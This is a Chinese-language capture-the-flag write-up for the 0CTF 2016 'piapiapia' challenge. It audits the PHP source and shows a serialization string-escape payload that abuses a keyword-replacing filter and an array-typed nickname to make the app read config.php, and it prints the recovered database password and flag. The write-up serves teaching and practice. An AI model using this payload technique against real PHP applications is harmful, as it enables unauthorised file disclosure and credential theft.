[0CTF 2016]piapiapia
0x00 基础
一般文件的目录又xxx.php.bak/swp，或者查看元素、robots.txt里面有提示，或者www.zip等一系列文件中出现网站源码。也可以使用工具扫描
PHP序列化参考文章
0x01 分析
题中www.zip中包含源码，下载后进行代码审计（不会）翻阅PHP手册，各种百度。在config.php中包含flag，要想办法获取到此文件
config.php
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| <?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
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查看index.php
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| if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
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查看profile.php
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| <?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
}
?>
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update.php
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| if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
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查看update_profile()函数
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| public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
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查看filter()函数
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| public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
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在update_profile()，返回到profile.php.
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| $profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
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序列化后
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| $profile=a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"12@12.12";s:8:"nickname";s:4:"1234";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
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要让$photo得到的文件是config.php也就是
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| s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";
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变成
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| s:5:"photo";s:10:"config.php";
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序列化后的长度是固定的，但是在经过过滤函数时候，nickname传入where会被替换成hacker,多出一个字符，这样就可以修改反序列化后的photo所对应的文件，使其为config.php。
因为nickname有长度限制使用数组可以绕过
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| if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
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让nickname的值为"};s:5:"photo";s:10:"config.php";}长度为34,传入34个where
0x03 开始操作
传入参数
访问profile.php
将base64解码
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| <?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{94b7c4b2-866d-4189-9b0a-abdf22990071}';
?>
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